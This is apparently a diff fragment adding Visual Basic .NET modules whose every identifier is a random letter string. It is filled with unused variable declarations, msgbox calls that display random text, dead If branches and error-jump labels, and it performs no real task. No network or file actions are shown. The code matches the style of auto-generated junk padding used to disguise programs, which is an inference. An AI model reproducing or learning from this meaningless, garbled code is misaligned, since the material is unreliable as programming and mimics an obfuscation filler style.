Dim RgBWBrmcKykljoqITuGXGDbmzYbRhURWFFJEiBxeGCusLPrPRtWmaGnpZx As Integer = 9740290 + 556347 + 556347 + 556347
|
||||
Dim vTosoiXUfHXZUsSsPS As Integer = 5324789 + 757196 + 757196 + 588827
|
||||
Dim CzNtjaqNiTAcZKqUURGkDqaNXq As String = "IxvWTuZfQENiQnXhukrFweYiGeqnlTBjVFfrfxHLojWMQaqkT"
|
||||
Dim tsNbuMGFznMriSwjiMPbXuNBPJLssjYIAKFynhyBioPgmCWlDSoI As Integer = 750646
|
||||
Dim HCYLkyJsguaszx As Integer = 909288 + 1158894 + 1158894 + 1158894
|
||||
Dim zKGCyFGQmTvSagnRTtixoHdMIX As String = "IxfmaWyiGpaQTZMwcOKNEUCbFzbaJvXoTftSXOTZWXooRe"
|
||||
Dim xHcsCCbEKTSUEZAkdDanxZnkWaenoFISQfWSGIGZWQhMWudoEJEPaPwX As Integer = 672161
|
||||
Dim zhxmsAPdDgxRuBVPGFwdCVCRfVWXsHvFmJwvylyJMwZTkkxvhXHJZPrp As Integer = 524903
|
||||
msgbox("uCMExFejZmNTiojfjvztbXLrydzWfeQaZmfdnyGlcFVAPLPxDRoKUOakGnPpiuxuVmTHbKrWpKhntEtgnKbvWrqovRlCSbugdPiRjcUtFRDGpIEifoVZCwpEMdWjFMplskijfqXDVmsiYLfEcRdZgREjzmeNQrQLJMalkpiCfmIuQDCvYJHXfqT")
|
||||
Dim OrhmCliuHAKLiQDcHmYfYYUivaVVXlcGUBYzGCBrOktyUZRcHR As Integer = 6706274 + 900790 + 900790 + 240987
|
||||
Dim NDzeYoEzbDLofeafVhHeCNEkKfrKi As Integer = 3910614 + 610205 + 441836 + 441836
|
||||
Dim dcYPVyigzsQyVYyjXFFYoOVMZL As String = "oTVgKNabQwqqVuJPZJhkCTVgpkrVVHBdzeRthCsojxUqBqSWwJNwxkKs"
|
||||
msgbox("yikSaYMFZTobCBjXiRYEucZQgJMRyTTEadgHISLiCkVflLTUhvKarNgsEpqAdnGrKrMlEqgvnIinesODVWitWRNTSbCHpMGdtGReIcVcqIKdunGrFQDUgULEOebmsYEfuiwHVDDrHdncwmztOCMrTCevFGqKcGDsbfepeCgjCbtGXYsDKmmeWRnHPVygrFLDEpyYHFAoLEjNepRIdECeucbhPsVtOKgoPHDszckhovgHnrdXjpghTMGwLjyDFVwxTGZbNz")
|
||||
Dim jCdVInUVxOWkFzumVeFpdhZMrTAimVwMPCPcUyIPZFrPdlasVvCIxHE As Integer = 7775271 + 1011903 + 1212752 + 1212752
|
||||
Dim RXQShYpameVIglvFhRPZLkDph As Integer = 3359771 + 552949 + 922167 + 922167
|
||||
msgbox("MoOctLMHyZuCtLgKbEraFHdtkhVaVvkfbfpEEGpjkQWQVZIhHbgrEULnarALoQwefNDffWSXylbGgAIxRZDYTzAXHoeOQXMbBHsnVDLfSDzGaltQhVvDytMFHuuSEKxfRjyLdwhPSpfxHZfudizQwxJtBelFDYPyBOJiFwvkaQFOaNhrijCrPFGwSNsJRKen")
|
||||
msgbox("bfBiOVgBzCeoCLTvacerIUoPxqRVYskKqCpFhJqybSEGbJOoCRvmrSCHTcKpYTcUBxWNIkAJaaOfrvIsgCXNQbiFgKyUWDqrSpTZfWgbEbHvVQdUvPdqffoFOKSciMtOsnRFAaaYUHdnYcsmTcxVjnCAQncMnXqnXjPDhKrSHmQwkWShSYbgJveUMyGCmLQscVCutNNLLfaAbomHoRZyasDMwDLaBRAcBNmGHaWEaAQZTTjPbYyyDRFgQSBIA")
|
||||
Dim FozFGseGyxeVRQQuFhrIBsRboUgNCYCIrcOEbwxsHaCNJwZDgLBdx As Integer = 2496439 + 463213 + 294844 + 294844
|
||||
Dim epkHNnIpLMskzpqEEwUkjJnTZWHEyXz As Integer = 4428768 + 664062 + 495694 + 495694
|
||||
Dim RibcHDFtSIrmoEoGQjfxxcumCLQRpfaCDknATbNiGUaiKNtviacwotgV As Integer = 669190
|
||||
Dim cHcyIsyQfWpVolpEGumyYIUyvkapKrRmJeMsfNdJHYmTeRobXvrPjvEG As Integer = 992114
|
||||
End Sub
|
||||
|
||||
End Module
|
||||
@@ -0,0 +1,157 @@
|
||||
Module RjDTyqqtbLiaQDnVNeSU
|
||||
|
||||
Public Function PEjJOtRUKdHdMJTuYBVNIuLwNbrlGRVPhOPlUJURLEqoxBsSYxygwuSKRYVrMfnnoVSLxXqTHIGRrebYmNfBubnwSunuqnkklTGpYEUKzjRVYKIuRteefNKnQlIB(ByVal ackfPiLsXqFMMqUs As String) As String
|
||||
On Error GoTo XVeEylMfIRHspUOuiKwvvqPUvjTVNdFMBrnEPsePtjjgUBImZbcLUEUYghHH
|
||||
msgbox("biGUCXzJgytfbCYZxiLjREhjqRxtHuzqZjSmtLpZhFrbJkkQzEUruQIWgoExazyyfZbZpBmfYFXoJfUzkmIXPPlRLDvZdqrvxxoQOfKFuZBJRJFapkDVECiDzuePBWtoyTIwfSnqNrPcNQemlECKylRFRlJLLbehOlLXzUAvVyDmKCqlqkUZJuQhPGODPXU")
|
||||
Dim sxzQhhrGYkPBEHSwPrYOXGklEj As String = "kewJBPDOXHTymXPAYxrVTGySnbNKSfnsOcHQPcGbUPEYZcvWYL"
|
||||
Dim zKDGTAuytPCIZWwvLeohWtTrR As String = "necRGkrhujPQrCsvZAZqmiVhldbAmZINnSzluhKBOpDpGabBNGldfVLJfIzIJJr"
|
||||
Dim ARzBIXFfBUBvEZQhVMAwerGGhvOgafmzYlbUHSzLUfSyqfrUKnluVPvH As Integer = 766371
|
||||
msgbox("syOTNgIcapINadgoZJVpZNInNUkZOumHKksROrjYOnRYeKKeXJnfgOuJIFQacEOMwaWcppLemwGHdRbVfqcPQqRjEBZGPCmlkXwOyBJjbTVbgazBhCkInUvDiLGfkPdVJaLryEybQDGvvMBLLyGZFbBDdkGMuUICnMZwXAvmEHfdDBnydkbZoEaWaVPDrwWsLtaBkjfY")
|
||||
Dim SoosdFGIuiIKcdDoNWjiiNVwlsbGlMaGMWqqdaqVHpAocaXzXSZTAjjd As Integer = 9362423 + 517071 + 517071 + 517071
|
||||
Dim HdKQsornkDrcPeXW As Integer = 4946922 + 717920 + 717920 + 1087138
|
||||
Dim oTNJdKaivKcWtuleGZELLVwDpcHkLgIMHXBoTaxufzFKAyuyg As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim vIZUTHgyBLesVNzNgiCeMImBgKKLaLQdiZjTxxjYdawGgYtBsJmih As Integer = 8811579 + 1119618 + 459815 + 459815
|
||||
msgbox("JMKDjsPQhKvlvKhdVnCOnbchUpdWnlwMvoZdJZBFNSVTXAxaJoBQnPEjTYfEWnjXzZZJclPdGBdQUtRURvtCvqbLGHxFNcVwXPYDSvtSNHilNKfutFrgmbiwhjshpZvSRElTGZbGjfykeTcisMKLprPWzChsdAyUjocPStDbXRoWvrvTQKOygHJVKEcvEaSjaOJwgXMMeKSDn")
|
||||
msgbox("MvkDKoGEdnIOVLEpFcBWHwlwBPpfkXGwhAgHJKVUqdkuWmYxXOQOGaEviuFWdykXSPwPTtjxyhsNwVuUBrecArEuiDGpLtcMBOFcWRWRujTlUXVmENbGJdEIDOPxkZauOkIQHBkXsrqjecEwulgWVUGfHiHRqYhSWljBQhZLGNkdQR")
|
||||
msgbox("QBiTfKMjqXKvDHCrFtbedcaqefNDecrVWitTgGXzDLPQjqRxjKPDoCjSnkBfWlOMbccNKjDQYnRJHMhQsClqSilcJRWaWhjXoMErytyKfkPFXsJmyKiyWbkCscMTwPSOttemIKUPqXKXuqaYISOVFTSmabwyDTIRIlQWQLSDWEQic")
|
||||
Dim JgoaorWzLCUZllKCbFpNGuvdbEagzvcFvRDduaPjMkUkZNBIUCXozxqo As Integer = 813476
|
||||
Dim YimOObVgUCkbhhFzSZtwEvwEusJOhpDsjoLRjnfVsImIRnJZmjPpGoQy As Integer = 753618
|
||||
Dim yTfOIBQbgNymjLzNiyyscfXWtdxCuKMAwfnVmcqoiGJjMpFNsMLsbHy As Integer = 606360
|
||||
msgbox("zaIYAYWaiYrQVvozEDwsmkiIgljziPGRuEhbTjutOZNcFkqlVaWycjTvmStDXxKCvanvCLeqVHDvhKvYwdOPzCNTyuhiurqVMSvUjHVfNwiJiYbrptgloMqYrVdjzslzGcmwYNbyWWIsbzHMmglUxLbUmcdWXNMRSBnWLDtjGpgsUogQuxSidEqwHYWrMuNWdoLuX")
|
||||
Dim jaRHUPVmLIHzWojWPCnvyupMufPxOLbVoLOJgZJZseyKmDJolRAhOYZp As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim chrmnwZcOrgmIxH As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim DbIRCuPaEQfykqWtICBUsdGZgK As String = "dbRmNuFHNkkfRPgyCwkFwmBwIEMyRvstdlGPrVqJbgdyOOMTCNiLYbfbUPuDmf"
|
||||
XVeEylMfIRHspUOuiKwvvqPUvjTVNdFMBrnEPsePtjjgUBImZbcLUEUYghHH:
|
||||
msgbox("cSbUGbZKqahqGTCzjmDlOqXtFdjBRFkZpXjiDaQjhKDEfzvDMcKlGjleTeMdJPucQleRlgvYHwOcYZRcReKqLHHUdGSZOICQUUoxEkCq")
|
||||
If 391134 > 1105037 Then
|
||||
Dim jdoYgvcJosoYKRGcLFnFZngGr As String = "nZoHORNrCmyEPJQREadLnlXFeGxmefKLpMqKcCWTHKXFnLDXcjYPFtWvCEDbumpUMFlvID"
|
||||
Dim THGZvlzVuudiUqivNhMSmFPzef As String = "RWenWNxQACKxNDGcfrhhblPChiqmDILAxfxvPmPoEXKLdoELtJHbqDmQxZJBxPfeINIlVj"
|
||||
Dim LCSVvTRrxkRHHsukHLueFhwpjZ As String = "qNNXjModYkHhDdmYBqClBqJFoHpjuWOXMhCGXaOPhInh"
|
||||
End If
|
||||
Dim KptmosXxfSUFbiSlPlUOrqVgtkxjxwJXWUNGzIkgKgOOWlxlzdHKbORx As Integer = 302132
|
||||
Dim fycGGyHtiKETVYDVcYzGObMvRAgYpYBOlxDweFedSDFKKWbdQiQyFif As Integer = 154874
|
||||
Dim yreOidOpYHnyUWBEYDhpvRXuSB As String = "oSUglOclIFtbgPsJBHUeDhQorcImmmIOgldQIbEJaokaKyjDLFsy"
|
||||
Dim GyaceWpBYGvLVuxMLKGnttXxvI As String = "knbFhSojTKSkGkzjpGfTUbtPjpzWyxjLUnXhHcGrPOegcvsgVvMTgJznoAxpIagbBH"
|
||||
msgbox("aHKwvbYxbyfaPkiwYxkfRDdexpteYqMMUkwXNtXJcxjRoTFAzNSyMQvPgUJQTukvLinuCDClqRmWjFluRNHLmAIbyMzoRDEFphmJePrzIqqlNBzyQhDNHQsjnRtfauJtQtKIkQVSBwFqOZikBJjTaKoQMaaTkeNSLtBXBSIfHZfClUOFaRjSjXqsnfOqlmUpFYkaNSNYowYMbrbEJVUtshNvDLSyDEhppePbmextD")
|
||||
If 6188120 > 846932 Then
|
||||
Dim zDsxCbKYBYLTdNoFXgBlszRgo As String = "OLDjknIXYcvGwxaMPBERnjMmFHelWjhkJcByUGpTNZFbqFBCTEFDnqWkPPJKkZVQUhbZcbNWc"
|
||||
Dim sTBHcJGcWWvoLCXMuFRigHoywl As String = "FYezJWQFEGQIDEBhGfcAXWnXIfipJduvbhgIleeHXcVngJLWaBYjJIypMDOxmrMVZasDSjOJDZ"
|
||||
Dim UqWtvHCccZckTUstrUOOLQOqS As String = "LIwZOquJhYtmouTJuZyQtiTjWQelaobProlSysUrNwhSDmthMTHeRcaCkbeFqZsWNRrvrj"
|
||||
End If
|
||||
Dim jzNOSjIpQbojnISzFensWeTFc As String = "vWGZYxJfZqgyOKAOEnifcXlQYhrqHdfMArRfQtfucNaOTB"
|
||||
End Function
|
||||
|
||||
|
||||
|
||||
Public Function mQkuHGSpCoiZaFqtEaXhxarbRcYiEEnSgwEzCqEOeLFkGYCIKBOBFDBMOVqsvVKhwZtHBdtsGvEezQEOHQBwypCnFrkhHqlwXjEORbNuXahBVpYgkClNppVXgZIy(ByVal MBeuBgNkPzwkcjjG As String) As String
|
||||
On Error GoTo tpvccjOebWPujBhnhlCNOmYsLzmQLDdtiekfXiUzDhGxvJctsXiCFkOPKo
|
||||
msgbox("sieUMSApTQARTgapTtPKKUtMxoEpBgjtYdSleZvLmIlfXsWKiZxjVqcYexVOCHSFvrjOKqXwdvvgXcMJWvWukKdszCKjeTHPjVQKyuDkYfblcLScSJjENDTJqFSNotVOVSInEKIPHPWGuVHDCPedLySMmImRpHeoniFLjQGZLzcIhhCaLQDgmWvpUNQIplE")
|
||||
msgbox("yBILXUqORkNJNTLXIqiEflbEGopMyavEEaOLLjGpbCcOFZtZENrmAWuBDtEJiDmoZGTrjdITfXnBhkNBSgaWvqedlIejMLhxNqJlJoVqiHIWeSpvGxeEJPIhzpOsACrbGbJMwXenZnAlGZHhhShFgdjIJwjFnIRURVv")
|
||||
Dim OBlmlEmZNOsJKeoCwfRuENJCqx As String = "UhDvwXfeSLZnhCHjZyNsgpNdcIFcRrMxrQxdDkpLplWcYDetT"
|
||||
Dim hRrRkJazCfHdCasRUKIfWvTFlyiJqLYVuPgIUqFrRUUBlbUIIzBbcf As Integer = 750646
|
||||
Dim wSvceuGfawnkdB As Integer = 909288 + 1158894 + 1158894 + 1158894
|
||||
Dim hTiEwIcrgWAxCLhJGuPgyDoOsE As String = "DWrYnNrSiGpEESrxfdKKKDxRodHFowERMZxOtPgJhrmwUt"
|
||||
Dim WSTlTZUdQWWJjDfjSofeGMJMQbuYjYJfdHbjLoErbqTCsKSELzelfMsH As Integer = 672161
|
||||
Dim QtIDygDFojhSPZUuihQJqYOPpsUUXRtUPVBziHamGyrgBmKkcIVEiKJF As Integer = 524903
|
||||
msgbox("kOyPyMAhsFGWZaMTHDwTGFKfauJDNZHKHQVQKHPtLQNkiQWqjbOHXLapnrSTqaBhUpRXDnlptIUOBBulJVhDbSBbeKcuvINRIwZGburuKJMyNUgAnLXxBakEKbHXKZmcgPPHLdbYTvKdBXdygZEddlWmmQdpRaSdvUHPprmpdvjtxKftuozjrC")
|
||||
Dim qJeGkEahdcMUjQoZcZJoVvMysSugDkGSteqdkEmljziTottWob As Integer = 6706274 + 900790 + 900790 + 240987
|
||||
Dim fFHGoPosuHo As Integer = 3910614 + 610205 + 441836 + 441836
|
||||
Dim PSBapEXkBLpaPgHASvLSvkfCbM As String = "JVuhlkXpwNcaCTBoVEhuTXCZVGCjYLIbmRQlUxxdrxLJBZawJALIfiqGto"
|
||||
msgbox("rjpUycaaHrepyVwpzaUTjbTfoApwvSpVGwhQMQbqeGsmVEsVcSMpBUFjIlAVsQXeBxXMVuWGhwUMVZRoCJpENUsDISIlcOYBUoEwfjylEumixeCkCnRjoqhcCfmBcfdTORsZSExOvvGHbnntezHnGCNrrTBYSlePlZGIZIWJusrkVNxjpYZpYZcddPLaBNWlIryeQSsu")
|
||||
Dim SwKhCSrQceLJJJRaKSQiggJQFIsdtfhMyDFWmxJNVnWqLMgbVqghvHY As Integer = 7775271 + 1011903 + 1011903 + 352100
|
||||
Dim dAwRrgFBUOWVQdkb As Integer = 9707600 + 1212752 + 552949 + 552949
|
||||
Dim hUQcbbpjjhFDlHCKowyoLOHrcx As String = "qMPMdtBWEKgJViCllVKTlldkfiIpvJfttGbBusLWQseeZkGuyPZbCPCacqmypTP"
|
||||
Dim mpLoexyMSbunJHyzWqByPxcrmpilexWDwIRwoZDsvdbiGKEpZKIhCXsS As Integer = 719266
|
||||
msgbox("uiaJYomwxTILqxJMkltVheUqrFprUwCGfOPsOqQJTkVruzPJBGWWfpbzeCQNHdccgNMPDGOaoPEWNTiePyvuVhDKZsbteSqtLnuugUiqYRkVllSQpVtMvnCSphxEawvjwoDmNZBlxqJDlSPofprroZSpgGOkrrNxVKJUpCpQxICmXclOFyVWFnveuwJiN")
|
||||
tpvccjOebWPujBhnhlCNOmYsLzmQLDdtiekfXiUzDhGxvJctsXiCFkOPKo:
|
||||
msgbox("axwgRiaDkkKhQNgOqjprOIFpoirQaycUtMdyWNaOTxFkqumfruqVZrYOlBgyWlMIxCrshzOComnkmPDAPQHoUFnHvCiauGkqtmYwcryTlJjMQyqZtjrOHDKoBeXBhtRLolZEYxDjyxsLqFYVQiwqBuSfsNBWzHioXgvMhaGTPkRccqfKVwXQRlkAHmVhJFLuiHpPThisZFHGoOlOxFXhQkqWkkidatczLvIHxbLcSoRrpiTAltxnPBKMPpoEOh")
|
||||
If 2496439 > 463213 Then
|
||||
Dim utXtxuCOSArmvyUzeuKMJQRkQg As String = "jlcfZfGWfmdraxalDxmYjsFXnkYrXWHacxUYkfRMvmxi"
|
||||
Dim bUikpnLMiydcxmfltoMqwwAzFd As String = "tEwKRvHjsdjuBurdZUsOKryzPIToAyVeHGZvp"
|
||||
Dim ikvEKGyLEkgLPmtpyooKiOtWjR As String = "mqsTfcDrRUisxirrxFOSEuhQLiDHgwzSTqLNDp"
|
||||
End If
|
||||
Dim DWgYBkjtQibOXQbjUWjFmnzfMa As String = "AsUZNNECCqxEIwPFNesIELoHJGrBfrteFBbPSVFVfGvWXFfjzywL"
|
||||
Dim uXwqtevviIcNLvPHNyvQDoAcw As String = "SnqrXvMFNzrLdWmyBCJFcxPVquZGHlleeJPHIwtNcocwsL"
|
||||
Dim ekWpKswZiAGMrgInaHLwFESvQ As String = "azlWOoXQmTuZsOhCzkIVUJsJvbVCwtUIdKChGqULsVaWqD"
|
||||
msgbox("LkzSSBEItvUcyEsbKHlHxKhPJtxjMNRHLXeHQIjZecHYtWfxyhhDJisrwcIOlBWhUvNwcnEgLlZnukrIhnzzgmZVoIronSEkHtimwGYCHLHXwIkkeNUxJkieHZfKNbYsuHZgTbzRpqkftGTELxbznsdsVPHdHrlfBXRepMpzdPtLirsyfBHNYRoBVFwPcbygvjGdCcsXPSJfmcKye")
|
||||
If 9913266 > 1234129 Then
|
||||
Dim iYDwTEMdNVfovnxmLXNIUAeOxv As String = "MiJfHBDPPEbJyTDjYMgjfcnUWZwMHoCMQTWRQdlGOzqDBOcMhNTsrtGwojDROQDuIRNswRjifM"
|
||||
Dim uZqjBtgoZZBvNwkItHDTjlhvPP As String = "pIcvVWZwxNyyoRTEkBKFQSzmeKcxjzPgMIXdmSCcniTHbtSgFZphMjasqainLPbjJYM"
|
||||
Dim YVOXnojzGCDawsFJhlqUORjyQE As String = "MDVdcZTJUzxezEMDjmRwzZSRiHldEbicykzUJEFatMMixbAehQLbXMmRKovcbHBwZNCG"
|
||||
End If
|
||||
msgbox("hAyFJFqZXMtEciqsmnuRMnixmTicRgxogEtVsOurWRjqdsZcPGethTNrDbpUHFobhNpVbLGxgAtgGKRTmHbxjRBYRDDCqNqwxlBlcWrslKoZngKSwHsFnYfuZMhBnukapm")
|
||||
If 1945596 > 775176 Then
|
||||
Dim qSPZmnpCFoklHmplZpWfrBMxnj As String = "caBklblmbXsUXbBzoaRXNghwsBKKcnmfdOlQjOspwpsVVaYaaRnZOOeS"
|
||||
Dim qcNFanJACdcmjYodwrYPfVQSsk As String = "UmToNjnEMYHmDuZIhrrqxZYRPwzealZlSlJoDLDORKyOWwtWesRfedRX"
|
||||
Dim VNxtzIhuOrQFXATVUrNxWJK As String = "OiFUUpXLXETUWxgUTegqCwnRBhwzmjYjDqFxvbUNLMwSdlQEF"
|
||||
End If
|
||||
Dim VGHrtIvCxDLXDBjMVoBAfBUtQ As String = "dLvuuadguMWxPzXXbVHohDUdoVVfhEsKVUQqnFFwLYDOnVtHcI"
|
||||
msgbox("WTelJhaEzlsYqiDsjEtXIKKlqDWuFGpZWwHQaLtcuIEFrpGSQxJwXESxBjoRRlCYKXCHVUpfLdhCKHqHNBCCGBbWnBHyMcvuuZkycHIdHZvDdkDblurcsFeWHiwdZgOChcafbbukoYRxfcooqBMOQXNREcwlyDLhItqDeuOQzOZxisImAwuDkCJatVrfgIiAuKSnQDfv")
|
||||
If 5810253 > 1176874 Then
|
||||
Dim qQWyjlYSLObQPZtaKawNRHBJHO As String = "tekqIzLDwRYooHRjoKIRfgccGpDFSoTibtSCdXogiAvBIbiJmpSpRWmEVpGcQSrdEvwNSMi"
|
||||
Dim MCZKxPrNozfhmBweTuIeezxNnJ As String = "ICbKWtVhAkZBSYyYgEJoCDlDnUhvhjHcfdTSyTYkLywvysKcDkVvKserYOsgVjHXJytmynJCp"
|
||||
Dim kZwwpqRhGmGxbqTFdTsVkHMTiB As String = "NocfCpcpJdyZVEydNvLGtTCNoBQAGSVnJlCsDkQiCksnpj"
|
||||
End If
|
||||
Dim FigQGwBdJeqMUfEqqGWNHRSzki As String = "DiWkfXNxvgdkuIrckEMCQCKzQvQeprdFqTcjkxNX"
|
||||
End Function
|
||||
|
||||
|
||||
|
||||
Public Function YhpzYClGblSeWWKRfymYAWXLSuGSGqVanrsvdbfWEIVBTQIZIgWOHrfjcCvIKDDexoXGarNrDPmGMsAiriAkuJfjvYCVcUPhIqSinRGcfUSzRYgvdzoivUXII(ByVal BDCavZpYezCnqOXB As String) As String
|
||||
On Error GoTo OBYqmMWVjZfTfWtePpskxyHbgttOszTWakQiBusximNGNrecDZmCuOnGcwNW
|
||||
msgbox("XnPzyDGbctOlOElNTCWnLhUpYCwCTcGoaYiafiqykDkSfVrmUWroWHZiXVBQwoeuqezUQNqmEsesfzTJrrXUFYUQOWSHCgYukQpEvYHnxVZgBaUZyVqADNIjNPWxZlskVogzIzrxfsuDjfubDPZBCIpihGpGDmnLMHzYrXwKQTSeRxwMWjxsssSInG")
|
||||
msgbox("KYmeOxXUWKspWhUwGgYqUQLUahVdpcnkQdKFDcnFNjWBuoTkfnVBlWhufZbSNqywDzrRyBhSnVcwhRVeBOYEmjsRKEfVDNwHFrcdIxbvfUEmqqvREJdPghMXwYeDVVCGDDNCoqocVkypfnNnVbguapLDZjSeVomiiotFyIrDtQFRGjufiRbKdlJwamqLNvUbZxPzwcEMgQUidHJjZhJZxwdrijvPERWaMhWzoXwrQkmCDidndYaBpxmee")
|
||||
Dim jQGehYmkjdCIQupGKJMBCLiQfaGODSMLdEdsDgytYJRz As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim GaeSyaDgMmfcCpLiEkeYKCsFNKgQSALiGcNwZLPvVDOJVNrkfqyF As Integer = 8811579 + 459815 + 459815 + 459815
|
||||
msgbox("mcaGltwthmjvwwGlTIecpCvUxiDLtyMmXCjZGbIbqNiLYUQYWffDVguRZCABWOPZTroybrdSQriAlnrxpKsIcwwSkVncLoNXUovouyUUxQFRNLFTRmhrwniIiHrpdSrMGEbmOxKGBNzwUKSchMwtpphwJACdBkwLQVUWPuuKORoLbuSoacWnEeTGjkeJXSEtPlgpNv")
|
||||
msgbox("IAwXxWcOpQtXzpYvERgUImqvcDfUjEdmNobxfJJcRanUPVFddetbyhIjkEIImKyIQErNHaDVUszvOOqZkspjDKjbSIWUYvMKnFclxamPFjhjBBdJpDdEixnOCJGGulXfPHZnNNYNqolRQUmuDDNyFXsNPmYHkibkElDImnHeiiiipVK")
|
||||
msgbox("yOyXBHUSxiOfjLbQYYMBKmYJJzhGQGzKBMwizdjYhkMKZMgSWeVkSBcEHGNQjHVRTDzoibtfAKrCBUprrpVhiknqtISOylZnCFkOWWZodXWGGHVQYdDwLuhoIpywWynvrACDeXBTCGERCjyLGbTXPnlTphHKTDlIdWDCUlCqNrpfDHzweRUFIYcAcUuxCJxwyBqGIVDazOfrZjBthhGrGJhFKjOFoWwhrYQLHjfrAEbvdX")
|
||||
Dim KZjqXuHcGbcneFNddLEwNEtbhfexCdRCAKzcRypCTbSBlyrQvYUleuww As Integer = 813476
|
||||
Dim hhdtuXhVPazDbaFiGmhcJhvGdZdnGbaBSGIwISvlyknhCJRHGZDNHegN As Integer = 929284
|
||||
Dim EluFVzVlPakjLcTSHBSXGkvRAiOmkKJhOmyVoDkIshXyzwFjKfVIqkY As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim ZquMYDmEvBRJNUSzTeSZlRyPjaXJPGXmB As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim UjdFghLSeFNQbzngabvGSUaEW As String = "laIRtqRwIIzGLIfhqJXlBYyqlfXqiQBNDDvRGZhIeWzkVBWEXiYRvqeazES"
|
||||
Dim NQsXlpDIqzNfnfQvkXwpBoWHjvrjBLKDiHJGliuSKxyjtJrdnVGliqo As Integer = 126466
|
||||
Dim UMqJeoGpQzV As Integer = 8671292 + 1105037 + 1105037 + 445234
|
||||
Dim OGAlSTDSPPJcVEiuNIzclrCSZE As String = "qVgUfROaSGBEQSPnMCCSGdICFsCZiiUXHRMaU"
|
||||
Dim keGTlXHpNfgmc As Integer = 4255792 + 646083 + 646083 + 1015301
|
||||
Dim cmpKzeENSECMCSWnoekJlJTiNSoDZVcLtFLGfsUedClHafMOQrsqoYF As Integer = 653464
|
||||
Dim tdjHFMxvSwjXuNNTPiNrnBMxWHrhJiFddPDWAEcbMIRXdRGCSRGPHlG As Integer = 653464
|
||||
OBYqmMWVjZfTfWtePpskxyHbgttOszTWakQiBusximNGNrecDZmCuOnGcwNW:
|
||||
msgbox("UNnUnmqxBQEPwGRotNNPsEuVhYeyRezqwiUqTLUIkUcqdhhRrcusiDdUfrqREqmHIOkbToydCmYNjwtRjWBLRoRSwSqgPyzKYsQdillkXHYiJNKRrjOWmZTpAqNtsQvaPLuxIOqEQSMBAxoriDRZqZqNOzoHiHifFFkonTODKVWCMmUfUsXXBqPGjBVhmUBQetVXfoGWisJWObDXYScWbVyhjnjSNNohzZxgfGsrhTSpaoXzsKBxGHKjUKkPVthreRdetjKzzYgg")
|
||||
If 3392460 > 556347 Then
|
||||
Dim wItORaRbtPEGoqGjXyUoaxMFLz As String = "FidfurnClEzjFMreWXqwiIoEQHUrfyBsfqdsSzES"
|
||||
Dim IBqyuOzvBImssuEQHNfJcQvHOa As String = "GscMhrIAjurliypVtZsgWbsZVIhTPGCdqkNQkuTGC"
|
||||
Dim yVZpIYkKJwziCunerEkWYsfXcZ As String = "kdLHMfugfOpPfZtQDoIEEyHliEbkfnKvjpblxBwe"
|
||||
End If
|
||||
msgbox("bXFFjuQCSitAnjQXXvFzPMpEopUpZQyuytgJerdDvDcWKSXgHIMswdCoYUeNtoqcQrpZzatLTxxunsRqBIWpfDyirKVFUCcqFlWlwrZgPnuBaFMKfPXYRisuWfhyFzXrswPaWklYJuGbWzXvVyFbHNzgnCDbBcppFvJacrtemWBfWMGzeHhCoiASvXUKgsp")
|
||||
If 5324789 > 588827 Then
|
||||
Dim yuDbGXbrNJUXGoOyJwxnluZDMO As String = "QhQywYzjqzGVWsdIJzVOLuuajMpHCmtXlHhXgVqLRaEBNrF"
|
||||
Dim QhQzpGRoEUPvyNctMMRYovqraV As String = "KsPLWkVHEljcUZYNWIQSaHGwtvYHlMITSaCuiVGXnrtZDwqNTfRRSDpbQrqmDmvP"
|
||||
Dim ayrCdUARYkLdgDoWYZatTReFf As String = "TfowyBNZYHPaOSxsfesipTfMpXUDxSvIzVXjRxRjendNNmkrvxxoNjhJpDrzbfIP"
|
||||
End If
|
||||
msgbox("ZFZOzwOUdhDXMMjhrNPWivCupKQsraVsPCIhvaHvimOKEtrvyXkqCCkjHVFZVDjPXnYgqwYTcAikAWFcLpOZORpoJgLlpcPNMXMlLhYyyDUmHPkI")
|
||||
If 909288 > 298242 Then
|
||||
Dim YXohYxEgFVjfRyNoNFXntpvsS As String = "pCbmuFkjEkcWGjFLeZKVmHLtKZNkzaMsetzQOmsgrqYZWnkpkkApIDtevjfoXGUVsLYOHxn"
|
||||
Dim ROqgdcTDJIVexGxyEFwxSxLAp As String = "lrfGfjuETfeoKlmHAmZkFWqgoTUBYrieyBOTvcptgEWTBTSbzSyKqmeXcQANKMmpjnapzLO"
|
||||
Dim ikYfOmwrEGgUoPfJUksSRmVsdC As String = "fEWtOPPHMWJqZKemayxwRdRZnOXiDHmPnWzZjWuVSWDZZE"
|
||||
End If
|
||||
Dim jKUJjlUnYGLXGGcoaPXEnJGTPe As String = "lYiLqJvhPpCffVqezdlzmhkllXQyxKBIggnRQOoaVSkdrT"
|
||||
msgbox("joOoxRjcxdXHqXiEVgbfhlJHrBoBZWpeJXiUqmclBhYWxGcqEvjCguSdmjhuYifhawtpauWJalkOgTxLBimDGkrPBZQfKsoucaCcWdwwPERLOxcQHHrJexPSdmwjGpxSKYSIAdnCRAapPjyGRhGwUUUnPjkhfNqBVDwJhibaZpTbERvkaWprxrocGglADBzzCgyGlhwUjkFwDjzDepy")
|
||||
If 6393786 > 699941 Then
|
||||
Dim NjOiuNSJSCpgogjXKDbdCDHJIJ As String = "xHhSPEFWyjjqkDCQjyIqpzHrDWPNSAXWQFcOeFYzLDGiaenTmycXef"
|
||||
Dim JdQSZrMeFSozHkmVLmCVgXTPft As String = "svRvdhidwrbuZrjHlTquQQBSvshHxmJMqvhJLPCbqvHaIJbCrbmxnIxQvJhOMvfxibPfi"
|
||||
Dim nHizhMTKMwGpLBAmiCGKLwHSQF As String = "KsdzPsYmsOTuCvuLlLQGkWbPQjeFPHKagmzhvHMrwhTkeCPoKxfLDDRyHDsEGYvNhsH"
|
||||
End If
|
||||
msgbox("oiecDLrGhwlsesxRohlwhSstDhbYgFBkBurtrlznRtgnvlpZPKfXWuZKRBoXSvglcfvzZnopInBYGJDhBUvBRTdWJygzhMxnLEyUYFrLzrDZfDUrtYnJmcoeYnIgwsjtyeIiIdrFmUvSpFWGnlRWDMmkIietgbYDkVhPzvWYQmlfEFtadXnRlKFpGzCNFDyUQsesRwNQhFgotsRBKvLVFKdvN")
|
||||
If 6706274 > 900790 Then
|
||||
